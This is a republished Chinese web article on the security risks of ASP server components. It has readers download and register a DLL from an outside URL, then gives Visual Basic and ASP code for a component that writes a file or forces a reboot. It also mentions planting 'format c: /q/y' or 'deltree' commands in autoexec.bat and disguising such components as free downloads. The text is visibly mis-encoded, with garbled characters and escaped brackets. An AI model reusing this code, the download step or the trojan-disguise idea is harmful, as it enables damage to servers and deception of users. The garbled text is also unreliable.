ASP組件中的安全問(wèn)題
發(fā)表時(shí)間:2024-06-06 來(lái)源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]Microsoft推出的ASP(Active Server Page)以簡(jiǎn)單、易用、功能多、可擴(kuò)充性等強(qiáng)大功能得到了網(wǎng)友和大多數(shù)網(wǎng)管的喜愛(ài),大有完全代替CGI的趨勢(shì)。但是我要對(duì)你說(shuō),如果使用ASP的話,你網(wǎng)絡(luò)的安全同時(shí)也大大降低了! 在我繼續(xù)說(shuō)下去之前,請(qǐng)你完成以下步驟: 1.下載這個(gè)文件“h...
Microsoft推出的ASP(Active Server Page)以簡(jiǎn)單、易用、功能多、可擴(kuò)充性等強(qiáng)大功能得到了網(wǎng)友和大多數(shù)網(wǎng)管的喜愛(ài),大有完全代替CGI的趨勢(shì)。但是我要對(duì)你說(shuō),如果使用ASP的話,你網(wǎng)絡(luò)的安全同時(shí)也大大降低了!
在我繼續(xù)說(shuō)下去之前,請(qǐng)你完成以下步驟:
1.下載這個(gè)文件“http://home.gbsource.net/xuankong/dll.zip”,解壓縮后把其中的test.dll文件拷貝到“c:\windows\system”(如果你是使用NT的話,請(qǐng)拷貝到相應(yīng)目錄);
2.接下來(lái)打開(kāi)“開(kāi)始/運(yùn)行”菜單輸入“regsvr32 test.dll”命令;
3.拷貝解壓縮后的文件包中的那個(gè)index.asp到你的服務(wù)器目錄(如果你是使用PWS‘Personal Web Server’調(diào)試可以拷貝到“c:\Inetpub\wwwroot”,NT請(qǐng)拷貝到相應(yīng)的目錄);
4.換一臺(tái)機(jī)器用IE瀏覽index.asp文件看一看(你看到的是出錯(cuò)代碼,但是實(shí)際上程序已經(jīng)運(yùn)行了),你再返回你的機(jī)器看一看c:\下是否多了一個(gè)文件?!一個(gè)名為“xuankong.dat”的文件(其實(shí)如果我愿意,你的c:\autoexec.bat文件也可以被我打開(kāi)并寫入一些什么“format c: /q/y”或者“deltree *.* /y”的命令,等你下次重新啟動(dòng)機(jī)器。嘿嘿……)。
我們一起來(lái)看看到底是怎么一回事,你剛才拷貝的那些DLL文件其實(shí)是我使用Visul Basic 5.0開(kāi)發(fā)的一個(gè)組件:
1.打開(kāi)VB5.0新建一個(gè)“ActiveX dll”文件,把下面的代碼錄入進(jìn)去。
Private Declare Function ExitWindowsEx Lib ″user32″ _
(ByVal uFlags As Long, ByVal dwReserved As Long) _
As Long
Sub xuankong()′請(qǐng)不要加上″private″
a$ = InputBox(″請(qǐng)輸入你的姓名,如果你的輸入是″xuankong″″ + Chr(13) + Chr(10) + ″則會(huì)在你的系統(tǒng)中生成一個(gè)″xuankong.dat″文件″ + Chr(10) + Chr(13) + ″否則的話你的機(jī)器可能重啟″, ″請(qǐng)輸入″, ″xuankong″)
If a$ = ″xuankong″ Then
Open ″c:\xuankong.dat″ For Append As #1
Write #1, ″我的朋友,這是一個(gè)ASP組件的測(cè)試程序″
Write #1, ″hello world!This is a test″
Write #1, ″如果你看到這個(gè)文件表示測(cè)試成功。。
Else
ExitWindowsEx &H43, 0′使用API函數(shù)重新啟動(dòng)機(jī)器
End If
Close #1 >
End Sub
2.把工程名改為dll,類模塊改為test,然后把這個(gè)工程生成DLL文件到c:\windows\system目錄下面。
3.新建一個(gè)index.asp文件把下面的代碼錄入進(jìn)去。
$#@60;% set rs=server.createobject(″dll.test″)%$#@62;
$#@60;% set rs1=rs.xuankong rs1.execute %$#@62;
4.拷貝index.asp到你的服務(wù)器內(nèi),按照上面所述進(jìn)行調(diào)試! 好了,如果你調(diào)試完成,有什么感覺(jué)???如果是使用VC++ 、Visual Java開(kāi)發(fā)(它們開(kāi)發(fā)出來(lái)的組件功能可更加強(qiáng)大);如果把上面的VB代碼改一下,加入到一些FTP組件、E-mail組件、HTTP組件、聊天室組件、計(jì)數(shù)器組件中……(凡是可以輸入/輸出的組件,沒(méi)法輸入/輸出的組件的破壞力有一定局限),再給這些組件加上一個(gè)好聽(tīng)的名字“免費(fèi)的……”你不上當(dāng)嗎(嘿嘿!說(shuō)不定你已經(jīng)上當(dāng)了,天下免費(fèi)的東西可是好東西!!!*^v^*)?
上面所說(shuō)的是ASP組件的安全問(wèn)題!另外如果有些作者在寫ASP組件時(shí)不小心留下系統(tǒng)bug!那就更加不易被人發(fā)覺(jué)了!